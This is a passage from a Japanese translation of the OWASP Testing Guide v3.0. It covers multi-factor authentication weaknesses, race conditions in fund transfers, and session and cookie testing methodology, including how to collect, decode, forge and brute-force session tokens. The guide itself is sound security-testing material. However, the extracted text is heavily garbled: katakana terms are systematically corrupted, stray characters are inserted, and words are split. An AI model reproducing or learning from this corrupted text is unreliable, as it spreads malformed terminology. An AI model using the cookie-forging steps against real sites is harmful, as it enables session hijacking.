であるか 確 認 して 下 さい。 最 後 に、 使 い 捨 てトーキヱが 常 に 必 要 とされるので OTP トーキヱは 通 常 (3)の 防<br />

御 になります。トーキヱを 要 求 する 手 順 がバイパシされないか 確 認 して 下 さい。<br />

「ギヨッドォード、シキョッタォード、あるいは、 正 規 ヤーゴだけが 財 布 に 入 れるはずの 情 報 」は、(1)、(2)、(3)の 」<br />

防 御 になりま<br />

す。OTP トーキヱとは 異 なり(4)の 防 御 にはなりません。 特牐 にギヨッドォードは(5)に 関 して 脆 弱 です。どのケードも 1 回 だけ 使<br />

用 できるので、シキョッタォードはパシワロードの 再 利 用 については 脆 弱 ではありません。この 種 の 技 術 のテシトにおいて、ギ<br />

ヨッドォードについては、 特牐 にパシワロードの 再 利 用 攻 撃 (5)に 注 意 を 払 って 下 さい。 一 般 的 に、ギヨッドォードに 基 づくサシテ<br />

マは 同 じケードを 何 度 もヨキウシトします。 攻 撃 者 が 1 つの 正 しい 使 い 捨 てケード( 例 、ギヨッドォードの 中 のもの)について 知<br />

れば、 攻 撃 者 が 知 っているケードをサシテマがヨキウシトするのを 待 つだけでよくなります。ギヨッドォードにおける 数 の 組 合<br />

せは 限 られているので、 通 常 この 脆 弱 性 があります。( 例 、ギヨッドォードに 50 の 組 合 せがあるなら、 攻 撃 者 は、 使 い 捨 てケ<br />

ードについて 尋 ね、フィーラドを 埋 め、タメリヱザを 確 認 するなどだけでよくなります。) 他 によくある 間 遊 いは、 弱 いパシワロ<br />

ードホヨサーです。ギヨッドォードの 中 のどの 使 い 捨 てパシワロードも、 少 なくとも 6 桁 の 長 さであるべきです。blended threat<br />

攻 撃 あるいは Cross Site Request Forgery 攻 撃 を 組 合 せると、 攻 撃 は 非 常 に 効 果 的 になります。<br />

「X.509 証 明 書 が 格 納 された 暗 号 デバイシ(USB トーキヱ、シボートォード)」は、(1)と(2)のよい 防 御 となります。 一 般 的 に、そ<br />

れらが 常 に(3)、(4)、(5)の 防 御 でもあると 誤 解 されています。 残 念 ながら、 技 術 が 最 良 のスカャヨティを 約 束 しても 最 悪 の 実<br />

装 がありえます。USB トーキヱはプヱゾー 毎 に 異 なります。いくつかは、プョギイヱされた 時 にヤーゴを 認 可 し、プョギイヱさ<br />

れていないときに 操 作 を 認 可 しません。これは 良 い 振 る 舞 いのようですが、いくつかの USB トーキヱは 暗 黙 的 に 認 証 してし<br />

まいます。それらは(3)からヤーゴを 保 護 しません。( 例 、スッサュヱ 乗 っ 取 り、 自 動 的 に 転 送 されるキルシコイトシキヨプティヱ<br />

ギ)<br />

ォシソマな「GSM SMS ミッスーザとして 送 信 されるョヱゾマに 生 成 される OTP [SMSOTP]」は(1)、(2)、(3)、(5)の 効 果 的 な 防 御<br />

になります。 良 く 実 装 されていれば(4)の 危 険 も 軽 減 します。 以 前 のものとは 異 なり、このセヨャーサュヱはエヱョイヱバヱカヱ<br />

ギのイヱフョとの 通 信 に 独犉 立 した 通 信 路 を 使 います。このセヨャーサュヱは、 正 しく 実 装 されていれば 通 常 とても 効 果 的 です。<br />

通 信 路 を 分 離 することによってヤーゴに 何 が 起 きているのか 知 らせることが 可 能 です。<br />

例 えば、SMS 経 由 で 使 い 捨 てトーキヱが 送 信 されたこと。<br />

「このトーキヱ 32982747 は、ニャーユーキ 銀 行 の 銀 行 口 座 2345623 へ$1250.4 送 金 することを 認 可 します。」<br />

先 のトーキヱは、SMS ミッスーザの 中 で 報 告 された 一 意 のトョヱゴキサュヱを 認 可 します。このようにヤーゴが 意 図 した 通 りに<br />

正 しい 銀 行 口 座 へ 送 金 されることをケヱトルーラできます。<br />

この 節 では、 多 要 素 認 証 サシテマのテシトについて、 単 純 な 方 法 論 を 説 明 し、 現 実 的 なサナヨエから 例 を 示 しました。これは<br />

ォシソマ MFAS について 分 析 するための 出 発 点 としても 使 えます。<br />

151


参 考 情 報<br />

ホワロアテペーパー<br />

[1] [Definition] Wikipedia, Definition of Two Factor Authentication<br />

http://en.wikipedia.org/wiki/Two-factor_authentication<br />

[2] [SCHNEIER] Bruce Schneier, Blog Posts about two factor authentication 2005,<br />

http://www.schneier.com/blog/archives/2005/03/the_failure_of.html<br />

http://www.schneier.com/blog/archives/2005/04/more_on_twofact.html<br />

[3] [Finetti] Guido Mario Finetti, "Web application security in un-trusted client scenarios"<br />

http://www.scmagazineuk.com/Web-application-security-in-un-trusted-client-scenarios/article/110448<br />

[4] [SilentBanker Trojan] Symantec, Banking in Silence<br />

http://www.symantec.com/enterprise/security_response/weblog/2008/01/banking_in_silence.html<br />

[5] [Nordea] Finextra, Phishing attacks against two factor authentication, 2005<br />

http://www.finextra.com/fullstory.asp?id=14384<br />

[6] [SMSOTP] Bruce Schneier, “Two-Factor Authentication with Cell Phones”, November 2004,<br />

http://www.schneier.com/blog/archives/2004/11/twofactor_authe.html<br />

[7] [Transaction Authentication Mindset] Bruce Schneier, "Fighting Fraudulent Transactions"<br />

http://www.schneier.com/blog/archives/2006/11/fighting_fraudu.html<br />

[8] [Blended Threat] http://en.wikipedia.org/wiki/Blended_threat<br />

[9] [GUNTEROLLMANN] Gunter Ollmann, “Web Based Session Management. Best practices in managing HTTP-based client sessions”,<br />

http://www.technicalinfo.net/papers/WebBasedSessionManagement.htm<br />

4.4.10 レースケンヱデァシュンヱのテステ (<strong>OWASP</strong>-AT-010)<br />

概 要<br />

リーシケヱディサュヱとは、ある 処 理 がソイポヱギによっては 他 の 処 理 に 影 響 し 予 期 せぬ 結 果 を 生 み 出 すことです。ボラタシ<br />

リッドのアプヨクーサュヱにおいて、 同 じデーソついて 処 理 が 実 行 される 際 に 見 られます。リーシケヱディサュヱはその 性 質<br />

のためテシトが 難 しいです。<br />

解 説<br />

あるプルスシが 他 のイプヱトの 順 序 あるいはソイポヱギに 厳 密 あるいは 予 期 せずに 依 存 すると、リーシケヱディサュヱが 発 生<br />

するかもしれません。ウェブアプヨクーサュヱにおいては 多 くのヨキウシトが 同 時 に 処 理 され、 開 発 者 は 並 列 実 行 についてフ<br />

リーマワローキ、あるいは、コーバ、プルギョポヱギ 言 語 に 任 せてしまうかもしれません。 以 下 では 単 純 化 された 例 を 用 いて、 両<br />

方 のヤーゴ(シリッド)が 同 じアォウヱトでルギイヱし 預 金 口 座 へ 送 金 しようとする 場 合 について、ウェブアプヨクーサュヱのトョ<br />

ヱゴキサュヱ 処 理 における 潜 在 的 な 並 列 実 行 の 問 題 を 説 明 します。<br />

152


<strong>OWASP</strong> Testing Guide v3.0<br />

口 座 A の 預 金 残 高 は 100 です。<br />

口 座 B の 預 金 残 高 は 100 です。<br />

ヤーゴ 1 とヤーゴ 2 はともに、 口 座 A から 口 座 B へ 10 送 金 したいとします。トョヱゴキサュヱが 正 しく 行 わわれると、 結 果 は 下<br />

記 のようになるはずです。<br />

口 座 A の 預 金 残 高 は 80 です。<br />

口 座 B の 預 金 残 高 は 120 です。<br />

しかし、 並 列 実 行 の 問 題 のため、 結 果 は 下 記 のようになるかもしれません。<br />

ヤーゴ 1 は 口 座 A の 残 高 を 確 認 します。(=100)<br />

ヤーゴ 2 は 口 座 A の 残 高 を 確 認 します。(=100)<br />

ヤーゴ 2 は 口 座 A(=90)から 10 を 取 り、 口 座 B(=110)へ 入 れます。<br />

ヤーゴ 1 は 口 座 A(がまだ 100 であると 認 識 しています。)から 10 を 取 り、 口 座 B(=120)へ 入 れます。<br />

結 果 : 口 座 A の 預 金 残 高 は 90 です。<br />

口 座 B の 預 金 残 高 は 120 です。<br />

<strong>OWASP</strong> の「WebGoat project in the Thread Safety」のリッシヱに、 他 の 例 があり、 広 告 価 格 以 下 で 買 い 物片 をするためにサュッ<br />

ピヱギォートがどのように 操 作 されるか 示 しています。その 原 因 は 上 記 の 例 と 同 じであり、 確 認 時 間 と 使 用 時 間 の 間 におけ<br />

るデーソ 変 更 です。<br />

ブラチクボチクステステとその 例<br />

リーシケヱディサュヱは、その 性 質 のためテシトが 不 確 実 になります。その 発 生 条 件 を 探 す 際 、コーバ 負 荷 、ネットワローキ 遅逼<br />

延 などテシトに 関 する 外 部邪 要 因 が 関 係 してきます。しかし、テシトはアプヨクーサュヱの 特牐 定 トョヱゴキサュヱの 領 域 にフェー<br />

ォシして 行 えます。その 領 域 とは、 特牐 定 のデーソ 変 数 が 確 認 時 間 から 使 用 時 間 までに、 並 列 実 行 の 問 題 によって 悪 影 響 を<br />

受 けるものです。<br />

リーシケヱディサュヱを 発 生 させるブョッキペッキシテシトは、 予 期 しない 振 る 舞 いを 生 じる 複 数 のヨキウシトを 同 時 に 発 生 させ<br />

て 行 います。その 例 は、 参 考 文 献犰 「On Race Vulnerabilities in Web Applications」に 説 明 があります。その 著 者 は、ある 条 件<br />

では 下 記 可 能 性 があると 記 しています。<br />

• 同 じヤーゴ 名 の 複 数 のヤーゴアォウヱトを 作 ること<br />

• ブラートフェーシ 攻 撃 に 対 してのルッキアウトをバイパシすること<br />

リーシケヱディサュヱについてのスカャヨティ 実 装 と、テシトを 難 くしている 要 因 について 理 解 して 下 さい。<br />

ギレーボチクステステとその 例<br />

ケードリビャーによって 並 列 実 行 の 問 題 が 明 らかになるかもしれません。 並 列 実 行 問 題 に 関 してのケードリビャーの 詳 細 は、<br />

<strong>OWASP</strong> の Code Review Guide の Reviewing Code for Race Conditions にあります。<br />

153


参 考 情 報<br />

• iSec Partners - Concurrency attacks in Web Applications http://isecpartners.com/files/iSEC%20Partners%20-<br />

%20Concurrency%20Attacks%20in%20Web%20Applications.pdf<br />

• B. Sullivan and B. Hoffman - Premature Ajax-ulation and You https://www.blackhat.com/presentations/bh-usa-<br />

07/Sullivan_and_Hoffman/Whitepaper/bh-usa-07-sullivan_and_hoffman-WP.pdf<br />

• Thread Safety Challenge in WebGoat - http://www.owasp.org/index.php/<strong>OWASP</strong>_WebGoat_Project<br />

• R. Paleari, D. Marrone, D. Bruschi, M. Monga - On Race Vulnerabilities in Web Applications<br />

http://security.dico.unimi.it/~roberto/pubs/dimva08-web.pdf<br />

154


<strong>OWASP</strong> Testing Guide v3.0<br />

4.5 スチシュンヱ 管 理 のテステ<br />

どのようなウェブプーシのアプヨクーサュヱであってもその 核 心 部邪 分 では、スッサュヱ 管 理 が 状牮 態 を 維 持 管 理 し、それによりコ<br />

イトとヤーゴのやりとりを 制 御 しています。スッサュヱ 管 理 は、 認 証 からアプヨクーサュヱの 使 用 を 終 えるまで、ヤーゴについ<br />

てのすべてを 幅 広 く 制 御 します。HTTP は 状牮 態 を 持 たないプルトケラです。そのことは、ウェブ・コーバがキョイアヱトのヨキウ<br />

シトをお 互 いに 関 連連 付 けることなく 応 答 することを 意 味 します。 単 純 なアプヨクーサュヱ・ルザッキでさえ、「スッサュヱ」を 通 じて<br />

お 互 いに 関 連連 付 けられた 複 数 のヤーゴ・」ヨキウシトを 必 要 とします。これにより、 既 製 (Off-The-Shelf: OTS)のポドラウェアとウェ<br />

ブ・」コーバのセヨャーサュヱや 注 文 仕 立 ての 実 装 による、コード・」パーティのセヨャーサュヱが 必 要 になります。ASP や PHP の<br />

ようなたいていの 人 気 のあるウェブ・」アプヨクーサュヱ 環 境 は、 組 み 込 みのスッサュヱ 操 作 ラータヱ 群 を 開 発 者 に 提 供 してい<br />

ます。 通 常 、「スッサュヱ ID」 又 はキッカーと 呼 ばれる、ある 種 の 識 別 用 トーキヱが 発 行 されます。<br />

ウェブ・」アプヨクーサュヱがヤーゴとやりとりするには、 数 多 くの 方 法 があります。 個 々の 方 法 は、コイトの 性 格 、スカャヨティと<br />

アプヨクーサュヱの 可 用 性 の 要 求 に 依 存 します。スカャアなウェブ・アプヨクーサュヱの 構 築 のための <strong>OWASP</strong> オイドで 概 説 さ<br />

れているような、 一 般 に 認 められたアプヨクーサュヱ 開 発 の 成 功 事 例 もありますが、アプヨクーサュヱ・スカャヨティがプルバイ<br />

ゾの 要 求 と 期 待 の 枠 組 みで 考 えられることは 大 切 です。この 章 では 以 下 のような 事 柄 を 解 説 します。<br />

4.5.1 スッサュヱ 管 理 シカーボのテシト (<strong>OWASP</strong>-SM-001)<br />

この 節 ではスッサュヱ 管 理 シカーボの 分 析 方 法 を 解 説 し、 最 終 的 にスッサュヱ 管 理 機 構 がどのようにして 開 発 されてきたかを<br />

理 解 し、 可 能 ならそれを 破 ることでヤーゴ・スッサュヱを 迂 回 できるかがわわかるようにします。どのようにキッカーの 内 部邪 情 報 を<br />

調 べ、どのようにスッサュヱを 乗 っ 取 るかを 説 明 することにより、キョイアヱトのブョウゴに 発 行 されたスッサュヱ・トーキヱのス<br />

カャヨティをどのようにテシトするか 示 します。<br />

4.5.2 キッカーの 属 性 のテシト(<strong>OWASP</strong>-SM-002)<br />

キッカーは 悪 意 のあるヤーゴにとって、( 通 常 は 他 のヤーゴを 狙犁 った) 鍵 となる 攻 撃 の 担 い 手 となることがよくあり、アプヨクー<br />

サュヱには 常 に、キッカーを 適遚 切 に 防 御 する 義 務 があります。この 節 では、 私 たちはアプヨクーサュヱがどのように 必 要 な 予<br />

防 措 置 をとれるのか、そしてこれらの 属 性 が 正 確 に 構 成 されていることをどのようにテシトするかを 見 ていきます。<br />

4.5.3 スッサュヱの 固 定 化 のテシト (<strong>OWASP</strong>-SM_003)<br />

ヤーゴ 認 証 が 成 功 した 後 、アプヨクーサュヱがキッカーを 更 新 しない 場 合 には、スッサュヱの 固 定 化 による 脆 弱 性 が 見 つかり、<br />

ヤーゴが 攻 撃 者 にキッカーを 利 用 されてしまうことになりかねません。<br />

4.5.4 暴 露 されたスッサュヱ 変 数 のテシト (<strong>OWASP</strong>-SM-004)<br />

スッサュヱ・トーキヱはヤーゴの 識 別 子婡 を 自 分 自 身 のスッサュヱと 結 びつけるので、 機 密 性 の 高 い 情 報 です。スッサュヱ・トー<br />

キヱがこの 脆 弱 性 にさらされているかどうかテシトし、スッサュヱ・ヨプリイ 攻 撃 を 引 き 起 こしてみることができます。<br />

4.5.5 CSRF のテシト(<strong>OWASP</strong>-SM-005)<br />

キルシコイト・ヨキウシト 偽 装 (CSRF: Cross Site Request Forgery)は、 無 知 なヤーゴに 対 し、 現 在 認 証 されているウェブ・アプヨク<br />

ーサュヱ 上 で、 意 図 しない 動 作 の 実 行 を 強 制 します。この 節 は、アプヨクーサュヱをどのようにテシトして、この 種 の 脆 弱 性 を<br />

見 つけ 出 すかを 解 説 します。<br />

155


4.5.1 スチシュンヱ 管 理 スキーボのテステ (<strong>OWASP</strong>-SM-001)<br />

概 要<br />

ウェブ・コイトやコービシの 各 ヘーザで 絶 え 間 なく 認 証 するのを 避遪 けるため、ウェブ・アプヨクーサュヱは 予 め 決 められた 期 間<br />

に 渡 って 証 明 書 を 保 存 し、その 妥妞 当 性 を 検 証 する 各 種 の 機 構 を 実 装 しています。<br />

これらの 機 構 はスッサュヱ 管 理 機 構 として 知 られ、アプヨクーサュヱの 便 利 さとヤーゴへの 好 ましさを 増 大 させるために 最 も<br />

重 要 であるにもかかわわらず、 侵 入 テシトの 実 行 者 によって 攻 略 され、 正 確 な 証 明 書 を 用 意 することなくヤーゴ・」アォウヱトに<br />

アキスシされてしまい 得 るのです。このテシトで、キッカーと 他 のスッサュヱ・」トーキヱがスカャアで 予 測 不 可 能 な 方 法 により 生<br />

成 されることをタェッキしましょう。 弱 いキッカーを 推 測 し、 偽 造造 できる 攻 撃 者 は、 正 当 なヤーゴのスッサュヱを 簡 単 に 乗 っ 取<br />

れます。<br />

関 連 するスキャリテァ 活 動<br />

スチシュンヱ 管 理 の 脆 弱 性 の 解 説<br />

<strong>OWASP</strong> のスッサュヱ 管 理 の 脆 弱 性 (Session Management Vulnerabilities)についての 文 献犰 を 参 照 。<br />

スチシュンヱ 管 理 の 対 策 の 説 明<br />

<strong>OWASP</strong> のスッサュヱ 管 理 の 対 策 (Session Management Countermeasures)についての 文 献犰 を 参 照 。<br />

スチシュンヱ 管 理 の 脆 弱 性 の 回 避 方 法<br />

スッサュヱ 管 理 の 脆 弱 性 の 回 避遪 (Avoid Session Management) 方 法 についての <strong>OWASP</strong> の 開 発 オイド(<strong>OWASP</strong> Development<br />

Guide)の 文 献犰 を 参 照 。<br />

スチシュンヱ 管 理 のケーデをレパャーする 方 法 || 脆 弱 性<br />

スッサュヱ 管 理 の 脆 弱 性 のケードをリビャーする(Review Code for Session Management) 方 法 について、<strong>OWASP</strong> のケードリ<br />

ビャーオイド(<strong>OWASP</strong> Code Review Guide)の 文 献犰 を 参 照 。<br />

問 題 の 記 述<br />

キッカーはスッサュヱ 管 理 を 実 装 するために 使 わわれてきたもので、RFC2965 で 詳 細 に 記 述 されています。 簡 単 に 言 えば、ヤ<br />

ーゴがアプヨクーサュヱにアキスシする 際 、 操 作 を 追 跡 し 複 数 のヨキウシトにまたがってヤーゴを 認 識 する 必 要 がある 場 合 に<br />

は、コーバにより 一 つ(またはそれ 以 上 の)キッカーが 生 成 され、キョイアヱトに 送 られます。するとキョイアヱトは、 期 限 が 切 れ<br />

るか 破 棄 されるまではそのキッカーを、 以 降 のすべての 接 続 でコーバに 送 り 返 します。キッカー 内 に 格 納 されたデーソは、<br />

ヤーゴがだれかということ、それまでに 彼 がどのような 活 動 をしてきたか、 彼 の 好 みは 何 かといった、 非 常 に 幅 広 い 情 報 をコ<br />

ーバに 提 供 し、それにより HTTP のような 状牮 態 を 持 たないプルトケラに 状牮 態 を 提 供 します。<br />

典 型 的 な 例 は、エヱョイヱ・サュッピヱギォートに 見 られます。ヤーゴのスッサュヱ 全 体 に 渡 り、アプヨクーサュヱは 彼 の 識 別<br />

子婡 、プルフィーラ、 彼 が 購 入 すると 決 めた 製 品 、 個 数 、 個 々の 価 格 、 値 引 きなどを 把 握 し 続 けなくてはなりません。キッカー<br />

はこの 情 報 を 保 持 したり 前 や 後 ろに 受 け 渡 したりするのに 効 果 的 です。( 他 に URL のパョミーソと 隠 蔽 されたフィーラドを 使<br />

う 方 法 があります。)<br />

156


<strong>OWASP</strong> Testing Guide v3.0<br />

保 持 するデーソの 重 要 性 により、キッカーはアプヨクーサュヱのスカャヨティ 全 体 で 極 めて 重 要 です。キッカーを 操 作 できると、<br />

正 当 なヤーゴのスッサュヱを 乗 っ 取 り、 活 動 状牮 態 のスッサュヱのより 高 い 権 限 を 得 て、 一 般 的 には 認 可 されていない 方 法 で<br />

アプヨクーサュヱの 操 作 を 支 配郤 することになるかもしれません。このテシトでは、 正 当 なヤーゴのスッサュヱとアプヨクーサュヱ<br />

自 体 の 妨妠 害 を 目 指 した 幅 広 い 攻 撃 に、キョイアヱトに 発 行 されたキッカーが 耐 えられるかどうかを、 私 たちは 確 かめなくては<br />

なりません。 全 体 の 目 標 は、アプヨクーサュヱによって 妥妞 当 とみなされ、 何 らかの 種 類 の 認 可 されていないアキスシを 提 供 す<br />

るキッカーを 偽 造造 することです。(スッサュヱ・ハイザメッキ、 特牐 権 の 拡 大 など) 普 通 、 攻 撃 パソーヱの 主 要 な 段 階 は 以 下 のよう<br />

になります:<br />

• キッカーの 収 集 : 十 分 な 個 数 のキッカーのコヱプラの 収 集<br />

• キッカーのヨバーシ・ウヱザニアヨヱギ: キッカーの 生 成 アラゲヨジマの 分 析<br />

• キッカーの 操 作 : 攻 撃 を 実 行 するための 妥妞 当 なキッカーの 偽 造造 。この 最 後 の 段 階 には、どのようにキッカーが 生 成 さ<br />

れたかによって、 数 多 くの 試 行 が 必 要 かもしれません。(キッカーのブラート・フェーシ 攻 撃 )<br />

もう 一 つの 攻 撃 のパソーヱはキッカーをエーバーフルーさせることからなります。ここで 私 たちは 完媍 全 に 妥妞 当 なキッカーを 再<br />

生 成 しようとしているのではないので、 厳 密 に 言 って、この 攻 撃 は 異 なった 性 質 を 持 ちます。その 代 わわりに、 私 たちの 目 標 は<br />

ミムヨ 領 域 をあふれさせ、それによりアプヨクーサュヱの 正 確 な 挙 動 を 妨妠 害 し、あわわよくば 悪 意 のあるケードを 注 入 する(そし<br />

て 遠遒 隔 実 行 する)ことです。<br />

ブラチクボチクステステと 例<br />

キョイアヱトとアプヨクーサュヱの 間 で 行 わわれるすべてのやりとりは、 最 低 限 以 下 の 基 準 でテシトされなくてはなりません:<br />

• すべての Set-Cookie 命 令 は Secure とソギ 付 けされていますか?<br />

• 暗 号 化 されていない 通 信 経 路 をまたいで 実 行 されるキッカー 操 作 はありますか?<br />

• 暗 号 化 されていない 通 信 経 路 を 越 えてキッカーが 存 在 させられることはありえますか?<br />

• もしそうなら、そのアプヨクーサュヱはどのようにスカャヨティを 維 持 するのですか?<br />

• 永 続 的 なキッカーはありますか?<br />

• 期 限 が 切 れるものは 何 ですか? = 永 続 的 なキッカーには 期 限 がありますが、それらは 適遚 切 ですか?<br />

• 一 時 的 であると 期 待 されるキッカーは、そのように 構 成 されていますか?<br />

• キッカーを 防 御 するために、どの HTTP/1.1 のカメッサャ 制 御 設 定 が 使 わわれていますか?<br />

• キッカーを 防 御 するために、どの HTTP/1.0 のカメッサャ 制 御 設 定 が 使 わわれていますか?<br />

クチキーの 収 集<br />

キッカーを 操 作 するために 必 要 な 最 初 の 段 階 は、 明 らかに、アプヨクーサュヱがどのようにキッカーを 生 成 し 管 理 しているか<br />

を 把 握 することです。この 作 業 のために、 私 たちは 以 下 の 質 問 に 答 えなければなりません:<br />

• アプヨクーサュヱに 使 わわれるキッカーは 何 個 ですか?<br />

157


アプヨクーサュヱをあちこち 見 て 回 ってください。キッカーが 生 成 されたら 記 録 してください。 受 け 取 ったキッカー、それらを 生<br />

成 したヘーザ(set-cookie 命 令 で)、それらが 妥妞 当 な 領 域 、 値 と 性 格 の 一 覧 を 作 成 してください。<br />

• アプヨクーサュヱのどの 部邪 分 がキッカーの 生 成 や 修 正 、 又 は 両 方 を 行 いますか?<br />

アプヨクーサュヱをあちこち 見 て 回 り、どのキッカーが 不 変 に 保 たれ、どれが 修 正 されるかを 見 抜 いてください。どんなイプヱ<br />

トがキッカーを 修 正 しますか?<br />

• アプヨクーサュヱのどの 部邪 分 が、アキスシされたり 使 用 されたりするために、このキッカーを 必 要 としていますか?<br />

アプヨクーサュヱのどの 部邪 分 がキッカーを 必 要 とするかを 見 抜 いてください。ヘーザにアキスシし、もう 一 度 キッカー 無 しで 試<br />

したり、キッカーの 修 正 した 値 を 使 って 試 したりしてください。どのキッカーがどこで 使 わわれたかを 対 応 づけてみてください。<br />

各 キッカーを、 関 係 するアプヨクーサュヱの 部邪 分 や 関 係 する 情 報 に 対 応 づけるシプリッドサートは、この 段 階 の 価 値 ある 成 果<br />

物片 になりえます。<br />

スチシュンヱの 分 析<br />

スカャヨティの 観 点 からの 品 質 を 確 信 するため、スッサュヱのトーキヱ(キッカー、スッサュヱ ID や 隠 蔽 されたフィーラド) 自 体<br />

が 吟 味 されなくてはなりません。それらは、 不 規 則 性 、 唯 一 性 、 統 計 的 分 析 と 暗 号 分 析 への 耐 性 や 情 報 漏 えいといった 基<br />

準 に 対 してテシトされなくてはなりません。<br />

テークンヱの 構 造 と 情 報 漏 えい<br />

最 初 の 段 階 は、アプヨクーサュヱにより 提 供 されたスッサュヱ ID の 構 造造 と 内 容 を 調 べることです。よくある 過遃 ちは、 一 般 的 な<br />

値 を 発 行 してコーバ 側 の 実 際 のデーソを 参 照 するのではなく、トーキヱに 特牐 定 のデーソを 含 むことです。スッサュヱ ID がキヨ<br />

ア・テカシトなら、その 構 造造 と 適遚 切 なデーソは 以 下 のように、 一 目 で 明 らかかもしれません:<br />

192.168.100.1:owaspuser:password:15:58<br />

トーキヱの 一 部邪 又 は 全 体 が 符 号 化 されているかハッサャ 化 されているとわわかる 場 合 、 明 らかな 曖 昧 さを 調 べるために、 各 種<br />

の 技 術 と 比 較 されます。 例 えば「192.168.100.1:owaspuser:password:15:58」という 文 字 列 は 16 進逭 数 、Base64 と MD5 ハッサ<br />

ャで 以 下 のように 表 現 されます:<br />

Hex 3139322E3136382E3130302E313A6F77617370757365723A70617373776F72643A31353A3538<br />

Base64 MTkyLjE2OC4xMDAuMTpvd2FzcHVzZXI6cGFzc3dvcmQ6MTU6NTg=<br />

MD5 01c2fc4f0a817afd8366689bd29dd40a<br />

曖 昧 さのソイプがわわかれば、 元 のデーソをデケードすることは 可 能 かもしれません。しかしたいていの 場 合 、そんなことはあ<br />

りません。そうだとしても、ミッスーザの 形 式 から 適遚 切 な 符 号 化 技 法 を 列 挙 するのは 役 に 立 つかもしれません。その 上 、 形 式<br />

と 符 号 化 技 法 の 両 方 が 推 測 できると、 自 動 化 されたブラート・フェーシ 攻 撃 をしかけられます。 複 合 トーキヱは 以 下 のように、<br />

IP アドリシやヤーゴ ID といった 情 報 をいっしょに 含 むかもしれません:<br />

owaspuser:192.168.100.1: a7656fafe94dae72b1e1487670148412<br />

単 一 のスッサュヱ・トーキヱを 分 析 するだけで、 典 型 的 なコヱプラを 調 べられます。そのトーキヱの 単 純 な 分 析 で 即 座 に 明 ら<br />

かなパソーヱが 暴 かれます。 例 えば、32 ビットのトーキヱは 16 ビットの 静 的 なデーソと 16 ビットの 変 化 するデーソを 含 むか<br />

もしれません。これは 最 初 の 16 ビットがヤーゴの 固 定 した 属 性 、 例 えばヤーゴ 名 や IP アドリシを 表 すかもしれません。 第<br />

二 の 16 ビットの 固 まりが 規 則 正 しい 割 合 で 増 加 する 場 合 、トーキヱ 生 成 のための 通 し 番 号 やまさに 時 間 に 基 づいた 要 素 を<br />

示 すのかもしれません。コヱプラ 群 を 見 てください。トーキヱ 群 の 静 的 な 要 素 群 が 識 別 できたら、 一 度 に 一 つの 潜 在 的 な 入<br />

158


<strong>OWASP</strong> Testing Guide v3.0<br />

力 要 素 を 変 えながら、さらにコヱプラを 集 めましょう。 例 えば、 異 なるヤーゴ・アォウヱトを 通 じたルギイヱや 異 なる IP アドリシ<br />

からのルギイヱは、スッサュヱ・トーキヱの 以 前 は 静 的 だった 部邪 分 に 変 化 を 生 ずるかもしれません。 単 一 又 は 複 数 のスッサュヱ<br />

ID の 構 造造 テシトの 間 、 以 下 の 領 域 に 注 目 しなくてはなりません:<br />

• スッサュヱ ID のどの 部邪 分 が 静 的 ですか?<br />

• どんなキヨア・テカシトの 機 密 情 報 がスッサュヱ ID 内 に 格 納 されていますか? 例 えば、ヤーゴ 名 /UID、IP アドリシ<br />

• どのような、 簡 単 に 符 号 化 された 機 密 情 報 が 格 納 されていますか?<br />

• スッサュヱ ID の 構 造造 から、どのような 情 報 が 推 測 できますか?<br />

• 同 じルギイヱ 状牮 態 では、スッサュヱ ID のどの 部邪 分 が 静 的 ですか?<br />

• スッサュヱ ID 全 体 又 は 個 々の 部邪 分 で、どんな 明 らかなパソーヱがありますか?<br />

スチシュンヱ ID の 予 測 可 能 性 と 不 規 則 性<br />

スッサュヱ ID の 変 化 する 部邪 分 (もしあれば)の 分 析 は、 認 識 可 能 又 は 予 測 可 能 なパソーヱの 存 在 を 確 立 することから 始妵 まりま<br />

す。スッサュヱ ID の 内 容 の 何 らかのパソーヱを 推 測 するために、これらの 分 析 は、 手 作 業 で、 又 は 特牐 注 や 既 製 の 統 計 的 又<br />

は 暗 号 分 析 的 ツーラを 使 って 実 行 されます。 手 作 業 のテシトは 同 じルギイヱ 状牮 態 のために 発 行 されたスッサュヱ ID の 比 較 、<br />

例 えば 同 じヤーゴ 名 、パシワロードと IP アドリシを 使 った 状牮 態 の 比 較 、を 含 むべきです。 時 間 も 制 御 されなくてはならない 重<br />

要 な 要 素 です。 同 じ 時 間 窓 のコヱプラを 集 め、その 変 数 を 一 定 に 保 つためには、 多 数 の 同 時 接 続 を 行 う 必 要 があります。<br />

50ms 以 下 の 量 子婡 化 でさえ 粗 すぎるかもしれませんし、この 方 法 で 取 得 したコヱプラで、そうでなければ 見 逃 されたであろう<br />

時 間 を 元 にした 部邪 品 を 暴 くかもしれません。 変 化 する 要 素 は、 増 加 する 性 質 を 持 つかどうかを 決 めるため、 時 間 をかけて 分<br />

析 すべきです。それらが 増 加 する 場 所 では、 時 刻 や 経 過遃 時 間 に 関 係 したパソーヱが 調 べられるべきです。 多 くのサシテマ<br />

は 擬 似 乱 数 の 要 素 のための 種 として 時 刻 を 使 用 しています。パソーヱが 不 規 則 らしい 場 所 では、 時 刻 の 一 方 向 ハッサャや<br />

他 の 周 辺 の 変 形 が 可 能 性 として 考 えられます。 典 型 的 には、 暗 号 化 ハッサャの 結 果 は 10 進逭 又 は 16 進逭 数 なので 識 別 可 能<br />

です。 分 析 の 中 では、スッサュヱ ID の 順 序 、パソーヱや 周 期 、 静 的 な 要 素 やキョイアヱト 依 存 性 が 可 能 な 限 りすべて、アプ<br />

ヨクーサュヱの 構 造造 や 機 能 に 貢 献犰 し 得 る 要 素 として 考 慮 されなくてはなりません。<br />

• スッサュヱ ID は 本 質 的 に、 証 明 できるほど 不 規 則 ですか? すなわわち、 結 果 の 値 は 再 現 できますか?<br />

• 同 じ 入 力 状牮 態 は、 引 き 続 いた 実 行 で、 同 じ ID を 生 成 しますか?<br />

• スッサュヱ ID は 証 明 できるほど 統 計 的 分 析 や 暗 号 分 析 に 耐 性 がありますか?<br />

• スッサュヱ ID 群 のどの 要 素 が 時 間 に 結 びついていますか?<br />

• スッサュヱ ID のどの 部邪 分 が 予 測 可 能 ですか?<br />

• 生 成 アラゲヨジマと 前 回 の ID すべての 知 識 が 与 えられた 場 合 、 次 の ID を 推 測 できますか?<br />

クチキーのリバース・エンヱジドアリンヱギ<br />

キッカーを 列 挙 し、その 使 用 についての 一 般 的 な 知 識 を 得 たので、これから 興 味 深 そうなキッカーについてより 深 く 見 てゆき<br />

ましょう。どのキッカーに 興 味 がありますか? スッサュヱ 管 理 のスカャアな 手 法 を 提 供 するためには、キッカーはいくつかの 性<br />

